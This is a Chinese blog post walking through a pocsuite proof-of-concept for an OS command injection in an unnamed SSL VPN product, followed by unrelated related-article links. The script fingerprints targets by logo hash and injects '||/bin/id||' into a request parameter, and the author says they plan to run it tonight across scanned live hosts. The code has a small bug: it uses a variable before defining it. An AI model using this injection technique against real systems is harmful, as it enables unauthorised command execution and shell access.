今天在测试中发现一个命令执行漏洞,尝试用创宇的pocsuite框架实现。说实话,这玩意儿确实没有自己写POC顺手,非得就着他的标准来,就很难受,以至于耽误了很多时间在规范上。。

影响参数后直接用||连接,然后定位linux命令如||/bin/id||

下面是代码部分,大体思路就是发送一个含有payload的post请求,由于涉及一些隐私,我下面的一些地方做了打码:

 #!/usr/bin/env python
# -*- coding: utf-8 -*- """
Copyright (c) 2014-2015 pocsuite developers (http://seebug.org)
See the file 'docs/COPYING' for copying permission
"""
#命令行
from pocsuite import pocsuite_cli
#验证模块
from pocsuite import pocsuite_verify
#攻击模块
from pocsuite import pocsuite_attack
#控制台模式
from pocsuite import pocsuite_console
from pocsuite.api.request import req
from pocsuite.api.poc import register
from pocsuite.api.poc import Output, POCBase class SSL_VPN(POCBase):
vulID = '' # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
version = '' #默认为1
vulDate = '2017-11-21' #漏洞公开的时间,不知道就写今天 author = 'colorway' # PoC作者的大名
createDate = '2017-11-21'# 编写 PoC 的日期
updateDate = '2017-11-21'# PoC 更新的时间,默认和编写时间一样
references = []# 漏洞地址来源,0day不用写
name = 'OS Command Injection'# PoC 名称
appPowerLink = '#'# 漏洞厂商主页地址
appName = '#'# 漏洞应用名称
appVersion = 'all versions'# 漏洞影响版本
vulType = 'Command Injection'#漏洞类型,类型参考见 漏洞类型规范表
desc = '''
攻击者可拼接系统命令getshell
''' # 漏洞简要描述
samples = []# 测试样列,就是用 PoC 测试成功的网站
install_requires = [] # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写 #验证漏洞 pocsuite -r xxxx-OS-Injection.py -f ip.txt --verify
def _verify(self):
#定义返回结果
import hashlib
import re
result = {}
#获取漏洞url
vul_url = self.url + '/xx/xx/xx.php?xx=xx&t=1&h=127.0.0.1&p=80&c=1||/bin/id||'
vul1_url = vul_url.replace('http', 'https')
test_url = self.url + '/images/logo.gif'
test1_url = test_url.replace('http', 'https')
# print test_url
# print test1_url
r = req.get(test_url)
r1 = req.get(test1_url, verify=False)
if hashlib.md5(r1.content).hexdigest() == 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' or hashlib.md5(r2.content).hexdigest() == 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx':
data = "xxx=1&xxx=1&auth=10&user_name=11&pass=111&xxxx=xxxx"
cookies = {'xxxx':'aaaa','admin_token':''}
r2 = req.post(vul_url, data=data, cookies=cookies)
r3 = req.post(vul1_url, data=data, cookies=cookies, verify=False)
if "uid" in r2.content or "uid" in r3.content:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo']['Payload'] = vul_url # print r2.content
return self.save_output(result) #漏洞攻击
def _attack(self):
result = {}
# 攻击代码
return self._verify() def save_output(self, result):
#判断有无结果并输出
output = Output(self)
if result:
output.success(result)
else:
output.fail()
return output register(SSL_VPN)

这里我先做了指纹识别,判断目标网站是否有logo并且logo所在文件的MD5值是否正确,是的话进入下面的代码。其他的地方就是我加了https的验证,因为一般资产导入的都是IP地址,前面没有协议的名字,所以我采用了判断两次的方法(感觉是一个笨方法,但目前没有想到其他方法,控制台参数里也没有启用https的参数选项)

今天晚上跑一下存活主机,看看明天能跑出多少台来,嘻嘻。

pocsuite 实现一个verify检测功能的更多相关文章

  1. 打造一个自动检测页面是否存在XSS的小插件

    前言: 还记得刚玩Web安全时,就想着要是能有一个自动挖掘XSS漏洞的软件就好了.然后我发现了Safe3.JSky.AWVS.Netsparker等等,但是误报太多,而且特别占内存.后来发现了fidd ...

  2. [C++]Linux之网络实时检测功能

    声明:如需引用或者摘抄本博文源码或者其文章的,请在显著处注明,来源于本博文/作者,以示尊重劳动成果,助力开源精神.也欢迎大家一起探讨,交流,以共同进步,乃至成为朋友- 0.0 由于学习操作系统实验课程 ...

  3. weblogic 反序列化补丁绕过漏洞的一个批量检测shell脚本(CVE-2017-3248 )

    ~ 以下内容,仅供学习参考 ~ weblogic 反序列化补丁绕过漏洞已经出了两个月了,balabala ~~~ 废话不说,拿到该漏洞的利用工具weblogic.jar,但只能一个个检测ip和端口,效 ...

  4. 第15.4节 PyCharm程序代码检测功能介绍

    老猿使用PyCharm有将近一个月了,发现PyCharm并不能很好的完成语法检查,有时运行时突然终止,仔细核查却发现是基本的语法错误,不过有次无意中移动鼠标到代码最右边的边框时发现其实PyCharm有 ...

  5. 算法与数据结构题目的 PHP 实现:栈和队列 设计一个有 getMin 功能的栈

    刚入手了一本<程序员代码面试指南>,书中题目的代码都是 Java 实现的,琢磨着把这些代码用 PHP 敲一遍,加深印象. 题目:设计一个有 getMin 功能的栈 —— 实现一个特殊的栈, ...

  6. ado.net实现一个通知公告功能

    一.建立相应的数据库,此处就不多说了,相信大家都非常了解

  7. 设计一个有getMin功能的栈

    [说明]: 本文是左程云老师所著的<程序员面试代码指南>第一章中“设计一个有getMin功能的栈”这一题目的C++复现. 本文只包含问题描述.C++代码的实现以及简单的思路,不包含解析说明 ...

  8. SSRS 系列 - 使用带参数的 MDX 查询实现一个分组聚合功能的报表

    SSRS 系列 - 使用带参数的 MDX 查询实现一个分组聚合功能的报表 SSRS 系列 - 使用带参数的 MDX 查询实现一个分组聚合功能的报表 2013-10-09 23:09 by BI Wor ...

  9. 吴恩达机器学习笔记54-开发与评价一个异常检测系统及其与监督学习的对比(Developing and Evaluating an Anomaly Detection System and the Comparison to Supervised Learning)

    一.开发与评价一个异常检测系统 异常检测算法是一个非监督学习算法,意味着我们无法根据结果变量

随机推荐

  1. Java面试题搜集

    这里是一些Java面试题,从"程序员小灰"公众号转载过来,备用. 项目介绍 明确项目是做什么的 明确项目的价值.(为什么做这个项目,它解决了用户什么痛点,它带来什么价值?) 明确项 ...

  2. TOJ 1258 Very Simple Counting

    Description Let f(n) be the number of factors of integer n. Your task is to count the number of i(1 ...

  3. maven pom.xml指定jdk

    <plugins> <!-- 指定jdk --> <plugin> <groupId>org.apache.maven.plugins</grou ...

  4. Prometheus TSDB分析

    Prometheus TSDB分析 概述 Prometheus是著名开源监控项目,其监控任务调度给具体的服务器,该服务器到目标上抓取监控数据,然后保存在本地的TSDB中.自定义强大的PromQL语言查 ...

  5. 吴恩达《Machine Learning Yearning》总结(31-40章)

    31.解读学习曲线:其他情况 下图反映了高方差,通过增加数据集可以改善. 下图反映了高偏差和高方差,需要找到一种方法来同时减少方差和偏差. 32.绘制学习曲线 情况:当数据集非常小时,比如只有100个 ...

  6. C#中TransactionScope的使用方法和原理(摘)

    出自51CTO博客:http://cnn237111.blog.51cto.com/2359144/1271600 在.net 1.1的时代,还没有TransactionScope类,因此很多关于事务 ...

  7. 06.do-while循环的练习

    练习1: namespace _09.do_while循环练习01 { class Program { static void Main(string[] args) { //计算1到100之间的整数 ...

  8. 2017年10月9日 冒泡&去重复习

    今天看了一下,就是数组跟js还是不太熟悉 冒泡排序    var arr = [4, 2, 1, 3, 6, 5];        for(var i = 1; i < arr.length; ...

  9. PAT 1064 Complete Binary Search Tree

    #include <iostream> #include <cstdio> #include <cstdlib> #include <vector> # ...

  10. WinSock 完成端口模型

    之前写了关于Winsock的重叠IO模型,按理来说重叠IO模型与之前的模型相比,它的socket即是非阻塞的,也是异步的,它基本上性能非常高,但是它主要的缺点在于,即使我们使用历程来处理完成通知,但是 ...